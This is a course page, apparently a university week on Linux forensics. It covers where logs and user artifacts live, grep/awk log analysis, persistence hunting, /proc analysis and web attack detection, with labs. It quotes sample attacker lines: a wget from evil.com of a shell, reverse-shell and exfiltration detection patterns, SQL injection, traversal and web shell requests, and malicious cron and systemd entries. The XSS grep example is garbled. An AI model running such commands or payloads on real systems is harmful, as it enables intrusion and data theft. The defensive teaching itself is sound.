Skip to content
CSY204 Week 05 Intermediate

Practice Linux artifact analysis before moving to reading resources.

Security Operations

Track your progress through this week's content

Opening Framing

Linux systems dominate servers, cloud infrastructure, and embedded devices. When breaches occur, Linux forensics skills are essential. Unlike Windows with its Registry and proprietary formats, Linux stores most configuration and logs in human-readable text files—a design philosophy that aids forensic investigation.

The challenge with Linux forensics isn't finding artifacts—it's knowing where to look across hundreds of configuration files and log locations. Different distributions organize files differently. Services write logs to various locations. User activity hides in dotfiles scattered throughout home directories.

This week covers Linux file system layout, log analysis techniques, user artifact locations, persistence mechanisms, and the command-line tools that make Linux forensics efficient. You'll learn to investigate compromised Linux servers and reconstruct attacker activity from text-based evidence.

Key insight: Linux's transparency is a forensic advantage. Configuration is explicit, logs are verbose, and powerful text-processing tools are built in.

1) Linux File System Layout

Understanding the Linux directory structure is fundamental to knowing where evidence lives:

Linux Directory Hierarchy:

/
├── bin/        → Essential user binaries (ls, cp, cat)
├── boot/       → Boot loader, kernel images
├── dev/        → Device files
├── etc/        → System configuration files (CRITICAL)
├── home/       → User home directories (CRITICAL)
├── lib/        → Shared libraries
├── media/      → Removable media mount points
├── mnt/        → Temporary mount points
├── opt/        → Optional/third-party software
├── proc/       → Virtual filesystem - process info (live only)
├── root/       → Root user's home directory (CRITICAL)
├── run/        → Runtime data (live only)
├── sbin/       → System binaries (admin commands)
├── srv/        → Service data (web, ftp)
├── sys/        → Virtual filesystem - kernel info (live only)
├── tmp/        → Temporary files (often cleared on reboot)
├── usr/        → User programs and data
│   ├── bin/    → User binaries
│   ├── lib/    → Libraries
│   ├── local/  → Locally installed software
│   └── share/  → Shared data
└── var/        → Variable data (CRITICAL)
    ├── log/    → System logs
    ├── spool/  → Print/mail queues
    ├── tmp/    → Persistent temp files
    └── www/    → Web server content

Forensically Critical Directories:

/etc/ - System Configuration:

/etc/passwd        → User accounts (not passwords)
/etc/shadow        → Password hashes (if accessible)
/etc/group         → Group definitions
/etc/sudoers       → Sudo privileges
/etc/ssh/          → SSH configuration
/etc/crontab       → System cron jobs
/etc/cron.d/       → Additional cron jobs
/etc/cron.daily/   → Daily scheduled tasks
/etc/hosts         → Static hostname mappings
/etc/hosts.allow   → TCP wrappers allow
/etc/hosts.deny    → TCP wrappers deny
/etc/resolv.conf   → DNS configuration
/etc/fstab         → Filesystem mount config
/etc/rc.local      → Startup commands (legacy)
/etc/systemd/      → Systemd service configs
/etc/init.d/       → Init scripts (legacy)

Investigation focus:
- Modified timestamps on config files
- Unusual entries in passwd/shadow
- Unexpected cron jobs
- SSH key additions
- Sudoers modifications

/var/log/ - System Logs:

/var/log/ Contents:

Authentication:
/var/log/auth.log      → Debian/Ubuntu auth events
/var/log/secure        → RHEL/CentOS auth events

System:
/var/log/syslog        → General system log (Debian)
/var/log/messages      → General system log (RHEL)
/var/log/kern.log      → Kernel messages
/var/log/dmesg         → Boot messages

Services:
/var/log/apache2/      → Apache logs
/var/log/nginx/        → Nginx logs
/var/log/mysql/        → MySQL logs
/var/log/postgresql/   → PostgreSQL logs

Package Management:
/var/log/dpkg.log      → Debian package installs
/var/log/yum.log       → RHEL package installs
/var/log/apt/          → APT history

Other:
/var/log/cron          → Cron execution log
/var/log/maillog       → Mail server log
/var/log/boot.log      → Boot process log
/var/log/faillog       → Failed login attempts
/var/log/lastlog       → Last login info (binary)
/var/log/wtmp          → Login history (binary)
/var/log/btmp          → Failed login history (binary)

User Home Directories:

/home/{user}/ and /root/:

Shell History:
.bash_history      → Bash command history
.zsh_history       → Zsh command history
.history           → Generic history file

Shell Configuration:
.bashrc            → Bash settings (per-session)
.bash_profile      → Bash settings (login)
.profile           → Shell profile
.zshrc             → Zsh configuration

SSH:
.ssh/authorized_keys  → Allowed public keys
.ssh/known_hosts      → Previously connected hosts
.ssh/id_rsa          → Private key
.ssh/config          → SSH client config

Application Data:
.config/             → XDG config directory
.local/              → User-specific data
.cache/              → Cached data
.mozilla/            → Firefox profile
.gnupg/              → GPG keys and config

Other:
.viminfo             → Vim history
.lesshst             → Less command history
.mysql_history       → MySQL command history
.python_history      → Python REPL history
.wget-hsts           → WGET HSTS data

Key insight: Attackers often target .bash_history deletion but forget about .mysql_history, .viminfo, and other application-specific history files.

2) Log Analysis Fundamentals

Linux logs follow standard formats that enable efficient parsing with command-line tools:

Syslog Format:

Traditional syslog:
Mar 15 09:30:45 hostname service[pid]: message

Fields:
- Timestamp (no year - requires context)
- Hostname
- Service/daemon name
- Process ID
- Log message

Example:
Mar 15 09:30:45 webserver sshd[1234]: Accepted publickey for admin from 192.168.1.100 port 54321

Modern systemd journal:
- Binary format (use journalctl)
- Includes microsecond timestamps
- Structured data fields
- Automatic rotation

Authentication Log Analysis:

auth.log / secure Key Events:

Successful SSH Login:
Mar 15 09:30:45 server sshd[1234]: Accepted publickey for user from 10.0.0.1 port 54321 ssh2

Failed SSH Login:
Mar 15 09:30:46 server sshd[1235]: Failed password for invalid user admin from 10.0.0.2 port 54322 ssh2

Sudo Usage:
Mar 15 09:31:00 server sudo: user : TTY=pts/0 ; PWD=/home/user ; USER=root ; COMMAND=/bin/bash

Session Opened:
Mar 15 09:31:01 server sudo: pam_unix(sudo:session): session opened for user root by user(uid=1000)

User Added:
Mar 15 09:32:00 server useradd[1240]: new user: name=backdoor, UID=1001, GID=1001

Password Changed:
Mar 15 09:32:30 server passwd[1245]: pam_unix(passwd:chauthtok): password changed for backdoor

Key Investigation Queries:
# Failed logins
$ grep "Failed password" /var/log/auth.log

# Successful logins
$ grep "Accepted" /var/log/auth.log

# Sudo commands
$ grep "COMMAND=" /var/log/auth.log

# User creation
$ grep "useradd\|adduser" /var/log/auth.log

# SSH key authentication
$ grep "Accepted publickey" /var/log/auth.log

Essential Log Analysis Commands:

grep - Pattern Searching:
# Basic search
$ grep "error" /var/log/syslog

# Case insensitive
$ grep -i "error" /var/log/syslog

# Show line numbers
$ grep -n "error" /var/log/syslog

# Context (3 lines before/after)
$ grep -B3 -A3 "error" /var/log/syslog

# Invert match (exclude)
$ grep -v "CRON" /var/log/syslog

# Extended regex
$ grep -E "error|warning|critical" /var/log/syslog

# Count matches
$ grep -c "Failed password" /var/log/auth.log

awk - Field Processing:
# Print specific fields
$ awk '{print $1, $2, $3, $5}' /var/log/auth.log

# Filter by field value
$ awk '$5 == "sshd" {print}' /var/log/auth.log

# Sum values
$ awk '{sum += $10} END {print sum}' access.log

sed - Stream Editing:
# Extract between patterns
$ sed -n '/Mar 15 09:00/,/Mar 15 10:00/p' /var/log/auth.log

# Replace text
$ sed 's/old/new/g' file.log

sort and uniq - Frequency Analysis:
# Count unique IPs in auth failures
$ grep "Failed password" /var/log/auth.log | \
    awk '{print $(NF-3)}' | sort | uniq -c | sort -rn

# Top 10 attacking IPs
$ grep "Failed password" /var/log/auth.log | \
    awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -10

journalctl - Systemd Logs:

journalctl Commands:

# All logs
$ journalctl

# Follow new entries
$ journalctl -f

# Since specific time
$ journalctl --since "2024-03-15 09:00:00"
$ journalctl --since "1 hour ago"
$ journalctl --since yesterday

# Time range
$ journalctl --since "2024-03-15" --until "2024-03-16"

# Specific unit/service
$ journalctl -u sshd
$ journalctl -u nginx

# By priority
$ journalctl -p err    # Errors and above
$ journalctl -p warning

# Kernel messages
$ journalctl -k

# Boot logs
$ journalctl -b        # Current boot
$ journalctl -b -1     # Previous boot

# Output formats
$ journalctl -o json-pretty
$ journalctl -o short-precise

# Export for analysis
$ journalctl --since yesterday -o json > logs.json

Key insight: Master grep, awk, and sort | uniq -c | sort -rn for rapid log analysis. These three command chains solve most log investigation tasks.

3) User Activity Artifacts

Reconstructing user activity requires examining shell history, login records, and application-specific artifacts:

Shell History Analysis:

.bash_history Location:
- /home/{user}/.bash_history
- /root/.bash_history

Important: History may be:
- Truncated (HISTSIZE limit)
- Not saved (unset HISTFILE)
- Cleared by attacker
- Overwritten on logout (HISTFILESIZE)

Enhance history capture (if you manage system):
export HISTTIMEFORMAT="%F %T "
export HISTSIZE=10000
export HISTFILESIZE=10000
shopt -s histappend

Reading history with timestamps:
$ HISTTIMEFORMAT="%F %T " history
  501  2024-03-15 09:30:45 cd /var/www
  502  2024-03-15 09:30:52 wget http://evil.com/shell.php
  503  2024-03-15 09:31:10 chmod +x shell.php

Investigation technique:
# Suspicious commands
$ grep -E "wget|curl|nc|ncat|python|perl|ruby|bash -i|/dev/tcp" .bash_history

# Privilege escalation attempts
$ grep -E "sudo|su -|passwd|shadow|sudoers" .bash_history

# Data exfiltration
$ grep -E "scp|rsync|ftp|sftp|tar|zip|base64" .bash_history

# Reconnaissance
$ grep -E "whoami|id|uname|cat /etc|ifconfig|ip addr" .bash_history

Login Records:

Binary Login Files:

/var/log/wtmp - Successful Logins:
$ last -f /var/log/wtmp
admin    pts/0    192.168.1.100    Fri Mar 15 09:30   still logged in
admin    pts/0    192.168.1.100    Thu Mar 14 14:20 - 18:45  (04:25)

$ last -f /var/log/wtmp -i    # Show IP instead of hostname
$ last -f /var/log/wtmp -F    # Show full timestamps

/var/log/btmp - Failed Logins:
$ lastb -f /var/log/btmp
root     ssh:notty    10.0.0.50    Fri Mar 15 09:28 - 09:28  (00:00)
admin    ssh:notty    10.0.0.50    Fri Mar 15 09:28 - 09:28  (00:00)

/var/log/lastlog - Last Login Per User:
$ lastlog
Username    Port     From             Latest
root        pts/0    192.168.1.100    Fri Mar 15 09:30:45 +0000 2024
admin       pts/1    192.168.1.101    Thu Mar 14 14:20:00 +0000 2024
www-data                              **Never logged in**

/var/run/utmp - Current Logins (live system):
$ who
admin    pts/0    2024-03-15 09:30 (192.168.1.100)
$ w      # More detail including idle time

SSH Artifacts:

SSH Evidence Locations:

Server Side:
/var/log/auth.log           → Connection attempts
/etc/ssh/sshd_config        → Server configuration
~/.ssh/authorized_keys      → Allowed public keys (CHECK!)

Client Side:
~/.ssh/known_hosts          → Servers connected to
~/.ssh/config               → Client configuration
~/.ssh/id_rsa, id_ed25519   → Private keys

Key Investigation Points:

authorized_keys Tampering:
$ cat /root/.ssh/authorized_keys
ssh-rsa AAAA... admin@legitimate
ssh-rsa AAAA... attacker@evil.com    # SUSPICIOUS!

$ stat /root/.ssh/authorized_keys    # Check modification time

known_hosts (where user connected):
$ cat ~/.ssh/known_hosts
192.168.1.50 ssh-rsa AAAA...
github.com,140.82.121.4 ssh-rsa AAAA...

SSH Config (aliases reveal targets):
$ cat ~/.ssh/config
Host target
    HostName 10.0.0.100
    User admin
    IdentityFile ~/.ssh/stolen_key

Cron Jobs - Scheduled Tasks:

Cron Locations:

System Cron:
/etc/crontab              → System cron table
/etc/cron.d/              → Additional system jobs
/etc/cron.daily/          → Daily jobs
/etc/cron.hourly/         → Hourly jobs
/etc/cron.weekly/         → Weekly jobs
/etc/cron.monthly/        → Monthly jobs

User Cron:
/var/spool/cron/crontabs/{user}    # Debian/Ubuntu
/var/spool/cron/{user}             # RHEL/CentOS

Listing cron jobs:
$ crontab -l -u root      # Root's crontab
$ cat /etc/crontab        # System crontab
$ ls -la /etc/cron.d/     # Additional cron files

Cron Format:
* * * * * command
│ │ │ │ │
│ │ │ │ └── Day of week (0-7, 0=Sunday)
│ │ │ └──── Month (1-12)
│ │ └────── Day of month (1-31)
│ └──────── Hour (0-23)
└────────── Minute (0-59)

Malicious Cron Example:
*/5 * * * * /tmp/.hidden/beacon.sh    # Every 5 minutes
@reboot /var/tmp/.persist/backdoor     # On every reboot

Check for suspicious cron:
$ find /etc/cron* /var/spool/cron -type f -exec ls -la {} \;
$ grep -r "wget\|curl\|nc\|bash -i" /etc/cron* /var/spool/cron

Key insight: Attackers commonly add SSH keys to authorized_keys and create cron jobs for persistence. These should be among the first places you check.

4) Process and Service Analysis

On a live system, process analysis reveals active malware and attacker sessions. On forensic images, service configuration shows persistence mechanisms:

Live Process Analysis:

Process Listing:
$ ps aux
USER   PID  %CPU %MEM    VSZ   RSS TTY  STAT START   TIME COMMAND
root     1   0.0  0.1 169432 11236 ?    Ss   09:00   0:01 /sbin/init
root   500   0.0  0.0  72304  3440 ?    Ss   09:00   0:00 /usr/sbin/sshd

$ ps auxf     # Forest view (shows parent-child)
$ ps -ef      # Full format

Process Tree:
$ pstree -p
init(1)─┬─sshd(500)───sshd(1234)───bash(1235)───python(1240)
        ├─cron(400)
        └─apache2(600)─┬─apache2(601)
                       └─apache2(602)

Suspicious Process Indicators:
- Process running from /tmp, /dev/shm, /var/tmp
- Deleted binary: (deleted) in /proc/{pid}/exe
- Unusual parent-child relationships
- High resource usage
- Network connections from unexpected processes

/proc Filesystem Analysis:

/proc/{pid}/ Contents:

/proc/{pid}/cmdline    → Command line arguments
/proc/{pid}/cwd        → Current working directory (symlink)
/proc/{pid}/environ    → Environment variables
/proc/{pid}/exe        → Executable path (symlink)
/proc/{pid}/fd/        → Open file descriptors
/proc/{pid}/maps       → Memory mappings
/proc/{pid}/status     → Process status

Investigation Commands:
# Find process executable
$ ls -la /proc/1234/exe
lrwxrwxrwx 1 root root 0 Mar 15 /proc/1234/exe -> /usr/bin/python3

# Deleted binary indicator
$ ls -la /proc/1234/exe
lrwxrwxrwx 1 root root 0 Mar 15 /proc/1234/exe -> /tmp/malware (deleted)

# Recover deleted binary from memory
$ cp /proc/1234/exe /tmp/recovered_binary

# Check command line
$ cat /proc/1234/cmdline | tr '\0' ' '
python3 -c import socket,subprocess...

# Check working directory
$ ls -la /proc/1234/cwd
lrwxrwxrwx 1 root root 0 Mar 15 /proc/1234/cwd -> /tmp/.hidden

# List open files
$ ls -la /proc/1234/fd/
0 -> /dev/null
1 -> /tmp/output.log
3 -> socket:[12345]

# Check environment
$ cat /proc/1234/environ | tr '\0' '\n'

Network Connections:

Network Analysis Commands:

netstat (legacy but common):
$ netstat -tulpn        # TCP/UDP listening with PID
$ netstat -an           # All connections numeric
$ netstat -antpe        # Extended info with PID

ss (modern replacement):
$ ss -tulpn             # TCP/UDP listening with process
$ ss -an                # All connections
$ ss -o state established  # Established connections

Connection States to Investigate:
ESTABLISHED  → Active connections (to where?)
LISTEN       → Services waiting for connections
SYN_SENT     → Outbound connection attempts
TIME_WAIT    → Recently closed connections

lsof for Network:
$ lsof -i               # All network connections
$ lsof -i :22           # Connections on port 22
$ lsof -i @10.0.0.1     # Connections to specific IP
$ lsof -p 1234 -i       # Network connections for PID

Finding Suspicious Connections:
# Connections to non-standard ports
$ ss -tulpn | grep -v ":22\|:80\|:443"

# Established connections with PIDs
$ ss -tunap state established

# Process making connection to suspicious IP
$ lsof -i @evil.com

Systemd Service Analysis:

Systemd Investigation:

List All Services:
$ systemctl list-units --type=service
$ systemctl list-units --type=service --state=running

Service Locations:
/etc/systemd/system/       → Admin-created services
/lib/systemd/system/       → Package-installed services
/run/systemd/system/       → Runtime services
~/.config/systemd/user/    → User services

Examine Service File:
$ systemctl cat suspicious.service
[Unit]
Description=Definitely Not Malware

[Service]
ExecStart=/tmp/.hidden/backdoor
Restart=always

[Install]
WantedBy=multi-user.target

Red Flags in Service Files:
- ExecStart pointing to /tmp, /dev/shm, /var/tmp
- Recently created service files
- Obfuscated or encoded commands
- Services that restart always
- Services running as root unnecessarily

Check service status:
$ systemctl status suspicious.service
$ journalctl -u suspicious.service

Key insight: On a live system, /proc provides real-time process data that doesn't exist in forensic images. Capture this volatile data before shutdown.

5) Web Server and Application Logs

Web servers are common attack targets. Their logs reveal attack patterns, successful exploits, and data exfiltration:

Apache/Nginx Access Log Format:

Combined Log Format:
10.0.0.1 - - [15/Mar/2024:09:30:45 +0000] "GET /index.html HTTP/1.1" 200 1234 "http://referrer.com" "Mozilla/5.0..."

Fields:
- Client IP
- Ident (usually -)
- User (usually - unless authenticated)
- Timestamp
- Request line (method, path, protocol)
- Status code
- Response size
- Referrer
- User agent

Log Locations:
Apache:  /var/log/apache2/access.log, error.log
Nginx:   /var/log/nginx/access.log, error.log
Custom:  Check config files for CustomLog/access_log directives

Web Attack Detection:

SQL Injection Attempts:
$ grep -E "union.*select|'.*or.*'|;.*--|sleep\(|benchmark\(" access.log
10.0.0.1 - - [...] "GET /page?id=1' UNION SELECT * FROM users-- HTTP/1.1" 200

XSS Attempts:
$ grep -iE "alert(1) HTTP/1.1" 200

Directory Traversal:
$ grep -E "\.\./|\.\.%2f|%2e%2e" access.log
10.0.0.1 - - [...] "GET /download?file=../../../etc/passwd HTTP/1.1" 200

Web Shell Access:
$ grep -E "cmd=|exec=|shell=|c99|r57|b374k" access.log
10.0.0.1 - - [...] "POST /uploads/shell.php?cmd=id HTTP/1.1" 200

Command Injection:
$ grep -E ";.*cat|;.*ls|;.*wget|\|.*bash" access.log

Scanner Detection (common tools):
$ grep -iE "nikto|sqlmap|nmap|dirbuster|gobuster|wfuzz" access.log

Log Analysis Techniques:

Frequency Analysis:

# Top IPs by request count
$ awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -20

# Top requested URLs
$ awk '{print $7}' access.log | sort | uniq -c | sort -rn | head -20

# Requests by hour
$ awk '{print $4}' access.log | cut -d: -f2 | sort | uniq -c

# Status code distribution
$ awk '{print $9}' access.log | sort | uniq -c | sort -rn

# Failed requests (4xx, 5xx)
$ awk '$9 ~ /^[45]/' access.log

Timeline Analysis:

# Requests from specific IP
$ grep "^10.0.0.1" access.log

# Requests in time window
$ awk '$4 >= "[15/Mar/2024:09:00" && $4 <= "[15/Mar/2024:10:00"' access.log

# POST requests (often exploitation)
$ grep "POST" access.log

# Large responses (data exfiltration?)
$ awk '$10 > 1000000 {print}' access.log

Error Log Analysis:

Error Log Investigation:

Apache Error Log Format:
[Fri Mar 15 09:30:45.123456 2024] [error] [pid 1234] [client 10.0.0.1:54321] message

Key Error Types:
- PHP errors (failed exploits)
- Permission denied (access attempts)
- File does not exist (enumeration)
- ModSecurity alerts (attack detection)

$ grep -i "error\|warning\|fatal" error.log
$ grep "File does not exist" error.log | awk -F: '{print $NF}' | sort | uniq -c | sort -rn

PHP Errors Indicating Attacks:
[error] PHP Warning: include(/etc/passwd): failed to open stream
[error] PHP Warning: mysql_query(): You have an error in your SQL syntax
[error] PHP Fatal error: Call to undefined function system()

ModSecurity (if enabled):
$ grep "ModSecurity" error.log
[error] ModSecurity: Access denied with code 403. Pattern match "union.*select"

Application-Specific Logs:

Database Logs:

MySQL/MariaDB:
/var/log/mysql/error.log
/var/log/mysql/mysql.log (general query log)
/var/log/mysql/mysql-slow.log

$ grep -i "error\|warning\|denied" /var/log/mysql/error.log

PostgreSQL:
/var/log/postgresql/postgresql-*-main.log

Mail Server Logs:

Postfix:
/var/log/mail.log

$ grep "status=sent" /var/log/mail.log    # Sent messages
$ grep "reject" /var/log/mail.log         # Rejected

Look for:
- Mass mailing (compromised for spam)
- Unusual recipients
- Attachment names

Application Frameworks:
- Check app-specific log directories
- /var/log/{application}/
- /opt/{application}/logs/
- Application's home directory

Key insight: Web access logs are often the first indicator of compromise. Attackers scan, exploit, then establish persistence—the logs show the journey.

Real-World Context

Case Study: Linux Server Compromise

A company detected unusual outbound traffic from a web server. Linux forensic analysis revealed: Apache access logs showed SQL injection attempts against a vulnerable PHP application, followed by POST requests to an uploaded webshell. bash_history for www-data showed reconnaissance commands (id, uname -a, cat /etc/passwd). An unauthorized SSH key was added to root's authorized_keys. A cron job running every 5 minutes connected to a C2 server. The timeline from exploitation to persistence was reconstructed entirely from logs and text files.

Case Study: Cryptocurrency Mining Infection

A cloud server showed 100% CPU usage. Investigation found: /proc analysis revealed a process running from /dev/shm with a deleted binary. netstat showed connections to mining pool ports. A systemd service ensured the miner restarted on reboot. The initial compromise came through an exposed Docker API— found in auth.log as connections from unusual IPs pulling malicious images.

MITRE ATT&CK Alignment:

Linux Forensics Maps to Detection:

Initial Access:
- T1190: Exploit Public-Facing Application → Web server logs
- T1133: External Remote Services → auth.log SSH entries

Execution:
- T1059.004: Unix Shell → .bash_history, audit logs
- T1053.003: Cron → /etc/cron*, /var/spool/cron

Persistence:
- T1098.004: SSH Authorized Keys → ~/.ssh/authorized_keys
- T1053.003: Cron → Scheduled task entries
- T1543.002: Systemd Service → /etc/systemd/system/

Defense Evasion:
- T1070.002: Clear Linux Logs → Log gaps, truncation
- T1070.003: Clear Command History → Empty/truncated history

Discovery:
- T1083: File and Directory Discovery → Commands in history
- T1057: Process Discovery → ps, top in history

Collection:
- T1005: Data from Local System → tar, zip commands

Exfiltration:
- T1048: Exfiltration Over Alternative Protocol → scp, curl, wget in history

Linux's text-based nature means attack artifacts are often visible in human-readable logs—if you know where to look.

Guided Lab: Linux Server Investigation

In this lab, you'll investigate a compromised Linux web server to identify the attack vector, attacker actions, and persistence mechanisms.

Lab Environment:

  • SIFT Workstation or Linux forensic VM
  • Compromised Linux server image or log bundle
  • Command-line tools: grep, awk, sed, journalctl

Exercise Steps:

  1. Examine /var/log/auth.log for unauthorized access
  2. Analyze web server access logs for attack patterns
  3. Review bash_history files for attacker commands
  4. Check for unauthorized SSH keys in authorized_keys files
  5. Examine cron jobs for persistence mechanisms
  6. Review systemd services for malicious entries
  7. Build attack timeline from multiple log sources

Reflection Questions:

  • What was the initial compromise vector?
  • How did the attacker maintain access?
  • What evidence would be lost if the system was rebooted?

Week Outcome Check

By the end of this week, you should be able to:

  • Navigate the Linux file system hierarchy for forensic artifacts
  • Analyze authentication logs to identify unauthorized access
  • Use grep, awk, and sed for efficient log analysis
  • Extract user activity from bash_history and login records
  • Identify persistence mechanisms in cron and systemd
  • Analyze live processes using /proc filesystem
  • Investigate web server logs for attack indicators
  • Correlate multiple log sources into attack timelines

🎯 Hands-On Labs (Free & Essential)

Practice Linux artifact analysis before moving to reading resources.

🎮 TryHackMe: Linux Forensics

What you'll do: Analyze Linux artifacts, logs, and user activity.
Why it matters: Linux systems power most servers and cloud workloads.
Time estimate: 2-3 hours

Start TryHackMe Linux Forensics →

📝 Lab Exercise: Linux Log Timeline

Task: Build a timeline from auth.log, syslog, and bash_history.
Deliverable: Timeline table with timestamps, source, and inferred action.
Why it matters: Timelines connect artifacts into coherent narratives.
Time estimate: 90-120 minutes

🏁 PicoCTF Practice: Forensics (Linux Artifacts)

What you'll do: Solve challenges that involve log and file recovery analysis.
Why it matters: Reinforces evidence handling and artifact interpretation.
Time estimate: 1-2 hours

Start PicoCTF Forensics →

🛡️ Lab: Build Correlation Rules

What you'll do: Create 2 correlation rules in Splunk or Elastic (KQL).
Deliverable: Rule logic + notes on required data sources.
Why it matters: Correlation turns artifacts into alerts.
Time estimate: 60-90 minutes

💡 Lab Tip: Capture log hashes before you start analysis to preserve integrity.

🛡️ SIEM Correlation Logic

Forensics artifacts become far more valuable when correlated. SIEM logic links user actions, processes, and network events.

Correlation basics:
- Join auth + process + network logs
- Add time windows for suspicious bursts
- Prioritize rare or first-time events
- Document false-positive sources

📚 Building on CSY201: Alert tuning and query optimization techniques.

Resources

Lab

Complete the following lab exercises to practice Linux forensic analysis. Use a provided compromised system image or log bundle.

Part 1: Authentication Analysis (LO3, LO5)

Analyze /var/log/auth.log (or secure) to identify: (a) all successful SSH logins with source IPs, (b) failed login attempts indicating brute force, (c) sudo command execution, (d) any user account creation or modification.

Deliverable: Authentication analysis report with timeline of access events and identified suspicious activity.

Part 2: User Artifact Collection (LO3)

For each user account, collect and analyze: (a) .bash_history contents, (b) .ssh/authorized_keys entries, (c) crontab entries, (d) any suspicious dotfiles. Flag any indicators of compromise.

Deliverable: User activity summary with suspicious commands and unauthorized configurations highlighted.

Part 3: Web Server Log Analysis (LO5)

Analyze Apache or Nginx access logs to identify: (a) top source IPs by request count, (b) potential SQL injection or XSS attempts, (c) access to suspicious files (shells), (d) timeline of attack progression.

Deliverable: Web attack analysis with specific log entries showing attack patterns and potential exploitation.

Part 4: Persistence Mechanism Hunt (LO3)

Search for attacker persistence by examining: (a) all cron jobs (system and user), (b) systemd service files, (c) /etc/rc.local and init scripts, (d) .bashrc and .profile modifications. Document any suspicious entries.

Deliverable: Persistence mechanism inventory with locations and content of any malicious entries.

Part 5: Attack Timeline (LO7)

Using findings from Parts 1-4, construct a comprehensive attack timeline showing: (a) initial access method and time, (b) reconnaissance activities, (c) privilege escalation, (d) persistence establishment, (e) any data access or exfiltration.

Deliverable: Chronological attack narrative with supporting evidence from log entries and artifacts.

Week 05 Quiz

Test your understanding of Linux Forensics, Log Analysis, and Persistence Mechanisms.

Format: 10 multiple-choice questions. Passing score: 70%. Time: Untimed.

Take Quiz

Checkpoint Questions

  1. What are the key differences between /var/log/auth.log (Debian) and /var/log/secure (RHEL), and what types of events do they record?
  2. Explain why .bash_history might be empty or missing on a compromised system. What alternative sources of command history might exist?
  3. Describe three locations where an attacker might establish persistence on a Linux system, and how you would detect each.
  4. What information can be gathered from the /proc filesystem on a live system that would be unavailable in a forensic image?
  5. How would you use grep and awk together to find the top 10 IP addresses making failed SSH login attempts in auth.log?
  6. What web server log entries might indicate a successful SQL injection attack versus a failed attempt?

Weekly Reflection

Linux forensics leverages the operating system's transparency— text-based configurations, verbose logging, and powerful command-line tools. This week showed how these characteristics enable efficient investigation when you know where to look.

Reflect on the following in 200-300 words:

A strong reflection compares Windows and Linux forensic approaches, considers anti-forensics limitations, and addresses the practical challenges of multi-platform investigations.

Verified Resources & Videos

← Previous: Week 04 Next: Week 06 →